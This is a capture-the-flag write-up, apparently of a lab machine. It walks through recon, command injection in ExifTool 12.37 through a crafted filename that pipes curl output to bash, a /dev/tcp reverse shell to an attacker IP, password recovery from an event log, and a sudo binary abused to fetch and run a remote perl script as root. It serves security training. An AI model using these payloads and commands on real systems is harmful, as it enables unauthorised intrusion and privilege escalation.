Investigation

Enumeration

Rustscan

mkdir rust; sudo rustscan -t 1500 -b 1500 --ulimit 65000 -a 10.129.87.222 -- -sV -sC -oA ./rust/{{ip}}

Open 10.129.11.68:22
Open 10.129.11.68:80

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://eforenzics.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: Host: eforenzics.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Dirsearch

dirsearch -u http://eforenzics.htb/

[20:42:57] Starting:                                         
[20:43:24] 301 -  317B  - /assets  ->  http://eforenzics.htb/assets/        
[20:43:24] 403 -  279B  - /assets/                                          
[20:43:41] 200 -   11KB - /index.html                                                                        
[20:44:08] 200 -    4KB - /upload.php

Website

Checking the Website we notice that there's a service that they offer located at http://eforenzics.htb/service.html. The service is described as Image Forensics. You are able to upload an image file and they will provide a detailed forensic analysis.

Uploading an image will result in a report that you can view.

Example

ExifTool Version Number         : 12.37
File Name                       : image.jpg
Directory                       : .
File Size                       : 335 bytes
File Modification Date/Time     : 2023:01:23 20:03:07+00:00
File Access Date/Time           : 2023:01:23 20:03:07+00:00
File Inode Change Date/Time     : 2023:01:23 20:03:07+00:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Exif Byte Order                 : Big-endian (Motorola, MM)
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Y Cb Cr Positioning             : Centered
DjVu Version                    : 0.24
Spatial Resolution              : 300
Gamma                           : 2.2
Orientation                     : Horizontal (normal)
Warning                         : Ignored invalid metadata entry(s)
Image Width                     : 1
Image Height                    : 1
Encoding Process                : Extended sequential DCT, arithmetic coding
Bits Per Sample                 : 8
Color Components                : 1
Image Size                      : 1x1
Megapixels                      : 0.000001

The first line shows us the used ExifTool Version which is 12.37. If you look this up you'll come across Command Injection: Exiftool before 12.38

Exploitation

Using the discovered vulnerability we will try to gain a shell on our target.

Exiftool 12.37

# Generate malicious filename
cp image.jpg 'curl 10.10.14.71 | bash |'
# Generate an index.html containing our reverse shell code
cat index.html        
/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.71/4444 0>&1"
# Host a webserver
python -m http.server 80
# In another tab create a listener
pwncat-cs -lp 4444

Enumeration

After we received our shell it's time to enumerate the systmen as we are just the www-data user without any further permissions.

Linpeas

Linpeas will show us a cronjob that runs regularly at a specific time and uses a script located at /usr/local/investigation. Inside that folder we will find an E-Mail that contains a Windows Security Log.

Cronjob

*/5 * * * * date >> /usr/local/investigation/analysed_log && echo "Clearing folders" >> /usr/local/investigation/analysed_log && rm -r /var/www/uploads/* && rm /var/www/html/analysed_images/*

Password Discovery

By searching the security.evtx file we come across something that looks like a password which is stored under TargetUserName.

# Convert .evtx to xml
python3 /home/mrk/.local/bin/evtx_dump.py ~/Downloads/security.evtx > events.xml
# Searching
grep "TargetUserName" events.xml | sort -u
...
<Data Name="TargetUserName">aanderson</Data>
<Data Name="TargetUserName">AAnderson</Data>
<Data Name="TargetUserName">Administrators</Data>
<Data Name="TargetUserName">CENSORED</Data>
<Data Name="TargetUserName">EFORENZICS-DI$</Data>
<Data Name="TargetUserName">hmarley</Data>
<Data Name="TargetUserName">HMarley</Data>
<Data Name="TargetUserName">hmraley</Data>
<Data Name="TargetUserName">ljenkins</Data>
<Data Name="TargetUserName">LJenkins</Data>
<Data Name="TargetUserName">lmonroe</Data>
<Data Name="TargetUserName">LMonroe</Data>
<Data Name="TargetUserName">LOCAL SERVICE</Data>

Privilege Escalation: smorton

Using the password we are able to switch from www-data to smorton.

su - smorton

Privilege Escalation

Enumeration

Checking the permissiosn of smorton reveals that we are able to run /usr/bin/binary as root.

smorton@investigation:~$ sudo -l
Matching Defaults entries for smorton on investigation:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User smorton may run the following commands on investigation:
    (root) NOPASSWD: /usr/bin/binary

Analyzing /usr/bin/binary

Executing the binary does result in receiving the text Exiting...

We pull that binary to our machine and use Cutter to take a look at the decompiled code.

Snippet of decompiled function: main

    if (argc != 3) {
        puts("Exiting... ");
        exit(0);
    }
    iVar1 = getuid();
    if (iVar1 != 0) {
        puts("Exiting... ");
        exit(0);
    }
    iVar1 = strcmp(argv[2], "lDnxUysaQn");
    if (iVar1 == 0) {
        puts("Running... ");
        uVar2 = fopen(argv[2], 0x2027);
        uVar3 = curl_easy_init();
        curl_easy_setopt(uVar3, 0x2712, argv[1]);
        curl_easy_setopt(uVar3, 0x2711, uVar2);
        curl_easy_setopt(uVar3, 0x2d, 1);
        iVar1 = curl_easy_perform(uVar3);
        if (iVar1 == 0) {
            iVar1 = snprintf(0, 0, 0x202a, argv[2]);
            uVar4 = malloc((int64_t)iVar1 + 1);
            snprintf(uVar4, (int64_t)iVar1 + 1, 0x202a, argv[2]);
            iVar1 = snprintf(0, 0, "perl ./%s", uVar4);
            uVar5 = malloc((int64_t)iVar1 + 1);
            snprintf(uVar5, (int64_t)iVar1 + 1, "perl ./%s", uVar4);
            fclose(uVar2);
            .plt.sec(uVar3);
            setuid(0);
            system(uVar5);
            system("rm -f ./lDnxUysaQn");
            return 0;
        }
        puts("Exiting... ");
        exit(0);
    }
    puts("Exiting... ");
    exit(0);
    return 0;

I'm not a pro at asm or c but looking at the code it's clear to me that we have to:

Provide 2 additional arguments
argv[1] should be a perl script hosted on a web resource
argv[2] has to be the string lDnxUysaQn

Become Root

root.pl

Let's prepare a simple perl script to get a root shell

exec "/bin/bash";

Python Webserver

Host a webserver to serve that file

python3 -m http.server 8080

Privilege Escalation

The fun part, let's become root

smorton@investigation:~$ /bin/sudo /usr/bin/binary http://10.10.14.52:8080/root.pl lDnxUysaQn
Running... 
root@investigation:/home/smorton# whoami
root

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